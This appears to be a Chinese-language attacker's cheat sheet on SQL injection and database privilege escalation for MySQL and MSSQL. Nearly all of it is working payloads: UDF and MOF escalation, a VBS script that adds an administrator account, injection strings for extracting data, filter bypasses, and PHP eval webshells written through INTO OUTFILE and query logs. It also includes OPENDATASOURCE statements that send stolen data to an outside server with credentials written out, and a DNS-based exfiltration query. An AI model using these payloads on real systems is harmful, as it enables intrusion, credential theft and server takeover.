数据库注入提权总结(二)
mysql提权
MOF提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003的环境下才可以成功。
提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof目录的话,就可以来执行任意命令了。
经测试win7虽然存在这个文件目录,但是mysql以管理员权限运行,也会提示写入失败。
UDF提权
UDF说白了就是自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。
如果我们添加的自定义函数可以执行系统命令,那么是不是就相当于以mysql的权限去执行系统命令,如果mysql的权限比较高,是不是就可以达到一种权限提升的效果
动态链接库
构建UDF的过程,其实就是调用动态链接库的过程,因此我们首先必须知道动态链接库存放的位置,以及要有合适的动态链接库
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录
show variables like '%plugin%'; # 查找插件目录
select @@basedir; # 查找 mysql 安装目录
那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。
sqlmap 的 UDF 动态链接库文件位置 sqlmap根目录/data/udf/mysql
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:
# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
Metasploit的UDF动态链接库文件位置/usr/share/metasploit-framework/data/exploits/mysql
两款工具带的动态链接库是一样的
寻找插件目录
如果不存在的话
select @@basedir; # 寻找MySQL的安装目录
然后通过webshell手动去创建
写入动态链接库
方法一:
当SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
方法二:
当没有注入点时,我们可以操作原生 SQL 语句,这种情况下当 secure_file_priv 无限制的时候,我们也是可以手工写文件到 plugin 目录下的:
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码:
# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
方法三:
当webshell有一定权限时,可以直接通过文件上传的方式,上传对应的dll文件
创建自定义函数并调用命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select * from mysql.func; 验证是否添加成功
调用该函数,即可以mysql权限执行一些系统命令
删除自定义函数 drop function sys_eval;
UDF Shell
方法一:UDF.PHP
http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF&
方法二:ntunnel_mysql.php
Navicat内置的php-mysq链接文件,上传到目标网站
对navicat进行如下配置即可:
方法三:蚁剑内置插件
启动项提权
windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
在windows2003的系统下,启动项路径如下:
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
在windows2008的系统下,启动项路径如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。
这里使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
通过mysql的话:
use mysql;
create table test(cmd text);
insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;
重启之后可以提权
CVE-2016-6663和CVE-2016-6664
https://www.freebuf.com/articles/web/288941.htmlhttps://lengjibo.github.io/mysqludf/MSSQL
MSSQL基础
系统自带库
MSSQL安装后默认带了六个数据库
4个系统库:master、model、tempdb和msdb;
2个示例库:NorthwindTraders和pubs
系统视图表
MSSQL数据库有安装的自带数据表:
MSSQL权限控制
服务器角色
可以通过如下语句判断:
select is_srvrolemember('sysadmin')
数据库角色
可以通过如下语句判断:
select is_member('db_owner')
MSSQL常用语句
# 创建数据库
create database [dbname];
create database test;
# 删除数据库
drop database [dbname];
drop database test;
# 创建新表
create table table_name (name char(10),age tinyint,sex int);
# 创建新表前要选择数据库,默认是master库
use test;
create table admin (users char(255),passwd char(255),sex int);
# 删除新表
drop table table_name;
drop table dbo.admin;
# 向表中插入数据
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);
# 删除内容
delete from table_name where column1=value1;
delete from admin where sex=2;
# 更新内容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;
# 查找内容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
排序&获取下一条数据
MSSQL数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,
使用 <> 来排除已经显示的数据,获取下一条数据,也就是不等于的意思。
使用not in来排除已经显示的数据,获取下一条数据 ,后面可以跟一个集合。
# 使用<>获取数据
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in获取数据
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+
MSSSQL注释
单行:--空格
多行:/**/
常用函数
常见注入类型
联合查询注入
1.判断注入点及类型
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那么此处是字符型注入,需要单引号闭合
2.判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
3.联合查询判断回显点
?id=0' union select 1,2,3--+
4.获取当前数据库名字和版本信息
?id=0' union select 1,db_name(),@@version--+
5.获取所有的数据库名,database在较高版本的SQL Server 中已经变成了动态视图
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name
from master.sys.databases)--+
6.获取所有的表名,当information前面没有库名时,默认查询当前数据库,与mysql不同,每个数据库都有单独的information表,可以用master.information_schema.tables 来查询不同数据库的信息
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+
7.获取所有的字段名,多加些限定条件方便注入
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+
?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--
8.获取users表账号密码信息
?id=0' union select top 1 1,username,password from users--+
报错注入
MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入
1.判断注入点
id=1
2.判断是否为MSSQL数据库
# 返回正常为MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)
3.判断数据库版本号
id=1 and @@version>0--+
# @@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了,必须是在where后面拼接执行
4.获取当前数据库名
and db_name()>0--+
and 1=db_name()--+
# 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果
5.判断当前服务器拥有的权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+
6.判断当前角色是否为DB_OWNER
and 1=(select is_member('db_owner'))--+
# db_owner权限可以通过备份方式向目标网站写文件
7.获取当前用户名
and user_name()>0--+
8,获取所有数据库名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值来获取所有的数据库
9.获取数据库的个数
and 1=(select quotename(count(name)) from master.sys.databases)--+
10.一次性获取所有数据库库
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+
11.获取所有的表名
# 获取当前库第一个表
and 1=(select top 1 table_name from information_schema.tables)--+
# 获取当前库第二个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
# 获取当前库第三个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
# 也可通过更改top 参数获取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
# quotename和for xml path('')一次性获取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
# quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。
12.获取字段名
# 通过top 和 not in 获取字段
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
# 通过quotename 和 for xml path('') 获取字段
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+
13.获取表中数据
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+
布尔盲注
1. 判断注入点
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+
2.猜解数据库个数
id=1 and (select count(*) from sys.databases)=7--+ # 存在7个数据库
3.猜解数据库名长度
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6
id=1 and len(db_name())=4--+ # 当前数据库名长度为4
4.猜解数据库名
id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q
# 截取第一个库名第一个字符的ascii码为109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
# 截取第二个库名第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+
5.猜解表名
# 截取当前库的第一个表的第一个字符的ascii码为101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+
# 截取当前库的第二个表的第一个字符的ascii码为117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+
6.猜解字段名
# 截取当前库的emails表的第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#截取当前库的emails表的第二个字符的ascii码为100——d
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+
7.猜解表中数据
# username字段的数据第一个字符为D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+
时间盲注
1.判断是否存在注入
id=1 WAITFOR DELAY '0:0:5'--+
2.判断权限
# 如果是sysadmin权限,则延时5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+
3.查询当前数据库的长度和名字
# 二分法查询长度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
# 查询数据库名字
# substring截取字符串的位置,用ascii转为数字进行二分法查询
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+
4.查询数据库的版本
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M
5.查询表个数,Sysobject 存储了所有表的信息,所有数据库的都放在一起
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
# 当前数据库表的个数为6
6.查询第一个表的长度
# 查询第一个表
id=1 and select top 1 name from SysObjects where xtype='u'
# 查询结果为1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
# 利用and,进行判断,9为表长度的猜测
and len(name)=9
# 第一个表名长度为6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+
7.查询第一个表的表名
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+
8.查询第二个表的长度
# 查询第一个表名,去除emails, emails为第一个表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
# 同理,第三个表则 and name not in ('emails','uagents')
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+
9.查询第二个表的名字
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+
10.查询第一个表中的字段
# and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+
11.查询字段类型
id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+
12.查询数据
# 查询所有数据库
SELECT Name FROM Master..SysDatabases ORDER BY Name
# 查询存在password字段的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
# 查询包含pass的字段名
SELECT top 1 name FROM SysColumns where name like '%pass%'
id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--
反弹注入
反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。
反弹注入需要使用opendatasource函数。
OPENDATASOURCE(provider_name,init_string)
使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
基本流程
连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。
CREATE TABLE test(name VARCHAR(255))
获取数据库所有表,使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。
# 查询sysobjects表
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' --+
# 查询information_schema数据库
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables--+
# 查询information_schema数据库
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'--+
# 查询syscolumns表
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079--+
数据库注入提权总结(一)
MYSQL
基础注入
联合查询
若前面的查询结果不为空,则返回两次查询的值:
若前面的查询结果为空,则只返回union查询的值:
关键字union select
需要字段数对应
常用Payload:
# 查询表名
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
# 查询字段名
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23
报错注入
报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种:
# 修改select user() 字段 获取不同的信息
# 1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
# 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
# 3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
# 4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
# 5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
布尔盲注
常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。
返回值只有True或False的类型
如果查询结果不为空,则返回True(或者是Success之类的),否则返回False
这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确
例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+
Orderby盲注
order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:
例:order by rand(database()='pdotest')
返回了True的排序,说明database()=’pdotest’是正确的值
时间盲注
其实大多数页面,即使存在sql注入也基本是不会有回显的,因此这时候就要用延时来判断查询的结果是否正确。
常见的时间盲注有:
1.sleep(x)
id=' or sleep(3)%23
id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
查询结果正确,则延迟3秒,错误则无延时。
2.benchmark()
通过大量运算来模拟延时:
id=' or benchmark(10000000,sha(1))%23
id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
本地测试这个值大约可延时3秒:
3.笛卡尔积
计算笛卡尔积也是通过大量运算模拟延时:
select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C
select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
笛卡尔积延时大约也是3秒
HTTP头注入
注入手法和上述相差不多,就是注入点发生了变化
HTTP分割注入
常见场景,登录处SQL语句如下,注释符号被过滤
select xxx from xxx where username=’xxx’ and password=’xxx’# 方法一
username=1' or extractvalue/*
password=1*/(1,concat(0x7e,(select database()),0x7e))or'
SQL语句最终变为
select xxx from xxx where username='1' or extractvalue/*’ and password=’*/(1,concat(0x7e,(select database()),0x7e))or''
# 方法二
username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1
password=1
select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'
二次注入
二次注入主要出现在update和select结合点,如注册之后在登录
攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题
SQL约束攻击
假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。
则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。
基础绕过
大小写绕过
用于过滤时没有匹配大小写的情况:
SelECt * from table;
双写绕过
用于将禁止的字符直接删掉的过滤情况如:
preg_replace(‘/select/‘,’’,input)
则可用seselectlect from xxx来绕过,在删除一个select后剩下的就是select from xxx
绕过空格
当空格被过滤时,可以使用/**/ () %0a %09进行绕过
使用16进制绕过特定字符
如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273为users的16进制
只能针对表名,字段名等,内置函数关键字,不能使用16进制替代
宽字节、Latin1默认编码
宽字节注入
用于单引号被转义,但编码为gbk编码的情况下,用特殊字符将其与反斜杠合并,构成一个特殊字符:
username = %df'#
经gbk解码后变为:
select * from users where username ='運'#
成功闭合了单引号。
Latin1编码
Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略
于是我们可以输入?username=admin%c2,存储至表中就变为了admin
上面的%c2可以换为%c2-%ef之间的任意字符
常见字符的替代
and -> &&
or -> ||
空格-> /**/ -> %a0 -> %0a -> +
# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注:regexp为正则匹配,利用正则会有些新的注入手段
逗号被过滤
# 用join代替:
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23
# limit:
limit 2,1
limit 1 offset 2
# substr:
substr(database(),5,1)
substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个
substr(database() from 5)
# 如果for也被过滤了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同
# if:
if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end
limit被过滤
select user from users limit 1
加限制条件,如:
select user from users group by user_id having user_id = 1 (user_id是表中的一个column)
information_schema被过滤
innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中
除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema
文件读写
读写权限
在进行MySQL文件读写操作之前要先查看是否拥有权限,mysql文件权限存放于mysql表的file_priv字段,对应不同的User,如果可以读写,则数据库记录为Y,反之为N:
我们可以通过user()查看当前用户是什么,如果对应用户具有读写权限,则往下看,反之则放弃这条路找其他的方法。
除了要查看用户权限,还有一个地方要查看,即secure-file-priv。它是一个系统变量,用于限制读写功能,它的值有三种:
(1)无内容,即无限制
(2)为NULL,表示禁止文件读写
(3)为目录名,表示仅能在此目录下读写
该配置项存放在my.ini中,修改之后必须重启mysql重新加载配置文件
读文件
如果满足上述2个条件,则可尝试读写文件了。
常用的读文件的语句有如下几种:
select load_file(file_path);
load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件
load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件
需要注意的是,file_path必须为绝对路径,且反斜杠需要转义:
写文件
select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php';
当secure_file_priv值为NULL时,可用生成日志的方法绕过:
set global general_log_file = '/var/www/html/1.php';
set global general_log = on;
日志除了general_log还有其他许多日志,实际场景中需要有足够的写入日志的权限,且需要堆叠注入的条件方可采用该方法,因此利用非常困难。
DNS外带注入
若用户访问DNS服务器,则会在DNS日志中留下记录。如果请求中带有SQL查询的信息,则信息可被带出到DNS记录中。
利用条件:
1.secure_file_priv为空且有文件读取权限
2.目标为windows(利用了UNC,Linux不可行)
3.无回显且无法时间盲注
利用方法:
可以找一个免费的DNSlog:http://dnslog.cn/
进入后可获取一个子域名,执行:
select load_file(concat('\\',(select database()),'.子域名.dnslog.cn'));
相当于访问了select database().子域名.dnslog.cn,于是会留下DNSLOG记录,可从这些记录中查看SQL返回的信息。
mysql getshell
文件导出函数GetShell
利用条件
数据库当前用户为root权限
知道当前网站的绝对路径
PHP的GPC为off状态
写入的那个歌路径存在写入权限
基于联合查询时
?id=1 union select 1,'<?php phpinfo();?>',3 into outfile '网站根目录绝对路径'-- qwe
?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile '网站根目录绝对路径'-- qwe
非联合查询
?id=1 into outfile '网站根目录绝对路径' FIELDS TERMINATED BY '<?php phpinfo();?>'-- qwe
这个语句的意思是,导出当前数据表到xxx文件中,数据表中的字段以<?php phpinfo();?>分隔
形如:
id username password 导出后会变成
id<?php phpinfo();?>username<?php phpinfo();?>password
outfile和dumpfile的区别
outfile:
支持多行数据同时导出
使用union联合查询时,要保证两侧查询的列数相同
会在换行符制表符后面追加反斜杠
会在末尾追加换行
dumpfile:
每次只能导出一行数据
不会在换行符制表符后面追加反斜杠
不会在末尾追加换行
因此,dumpfile函数这个函数来顺利写入二进制文件,当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效),当使用dumpfile函数时,应该手动添加limit限制来获取不同的行数。
secure_file_prive
写文件提权,终究是离不开这个配置项:
secure_file_prive= ,结果为空的话,表示允许任何文件读写
secure_file_prive=NULL,表示不允许任何文件读写
secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径
在mysql5.5版本前,都是默认为空,允许读取
在mysql5.6版本后 ,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改。
查询该参数配置的情况:
show global variables like "%secure%";
利用sql语句修改配置项(5.6版本以前,临时修改重启失效):
set global secure_file_prive=""
5.6版本以后,只能利用配置项修改:
日志GetShell
全局日志Getshell
利用general_log,可以将所有到达mysql服务器的sql语句,都记录下来
# 查看日志是否开启
show variables like 'general_log';
# 开启日志功能
set global geeral_log=on;
# 查看文件日志保存位置
show variables like 'general_log_file';
# 设置日志保存位置(getshell的话存放在网站根目录,名为.php)
set global general_log_file='/var/www/html/shell.php';
# 查看日志输出类型 table:将日志存入数据库的日志表中;file:将日志存入文件中
show variables like 'log_output';
# 修改日志存储类型
set global log_output='table/file';
GetShell方式:
set global geeral_log=on;
set global general_log_file='/var/www/html/shell.php';
select '<?php eval($_POST[8]);?>'
慢日志GetShell
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式
# 查看服务器默认时间值方式
show global variables like '%long_query_time%'
show global variables like '%long%'
# 查看慢日志参数
show global variable like '%slow%';
GetShell方式:
# 打开慢日志
set global slow_query_log=on
# 设置慢日志路径
set global slow_query_log_file='/var/www/html/shell.php'
# 记录到日志中的语句
select '<?php @eval($_POST[8]);?>' or sleep(20)
爆绝对路径的方法
上述的提权方式都离不开知道网站的绝对路径,下面是一些得到绝对路径的方法。
单引号爆路径
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。http://www.xxx.com/news.php?id=1′
错误参数值爆路径
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。http://www.xxx.com/researcharchive.php?id=-1
Google爆路径
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
phpmyadmin爆路径
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。
